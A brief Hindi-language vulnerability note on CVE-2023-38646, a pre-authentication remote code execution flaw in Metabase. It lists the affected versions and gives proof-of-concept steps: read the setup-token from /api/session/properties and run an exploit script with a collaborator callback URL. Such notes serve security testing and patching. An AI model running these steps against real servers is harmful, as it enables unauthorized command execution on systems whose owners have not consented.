Metabase

Metabase एक ओपन सोर्स बिजनेस इंटेलिजेंस टूल है जो आपको विभिन्न डेटाबेस और डेटा स्रोतों से डेटा का उपयोग करके चार्ट और डैशबोर्ड बनाने की सुविधा देता है। यह एक लोकप्रिय प्रोजेक्ट है, जिसके GitHub पर 33k से अधिक स्टार हैं और पिछले कुछ वर्षों में कमजोरी अनुसंधान के दृष्टिकोण से इसकी काफी जांच की गई है।

CVE-2023-38646 - Metabase Pre-auth RCE

Metabase ओपन सोर्स 0.46.6.1 से पहले और Metabase Enterprise 1.46.6.1 से पहले के संस्करण हमलावरों को सर्वर पर, सर्वर के विशेषाधिकार स्तर पर, मनमानी कमांड निष्पादित करने की अनुमति देते हैं। शोषण के लिए प्रमाणीकरण की आवश्यकता नहीं है। अन्य फिक्स किए गए संस्करण 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, और 1.43.7.2 हैं।

PoC चरण

* go to : http://target.com/api/session/properties
* copy : setup-token
* get collaborator url

python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>

संवेदनशील संस्करण

Metabase Enterprise 1.46 < 1.46.6.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase Enterprise 1.43 < 1.43.7.2
Metabase open source 0.46 < 0.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase open source 0.43 < 0.43.7.2

संदर्भ

• assetnote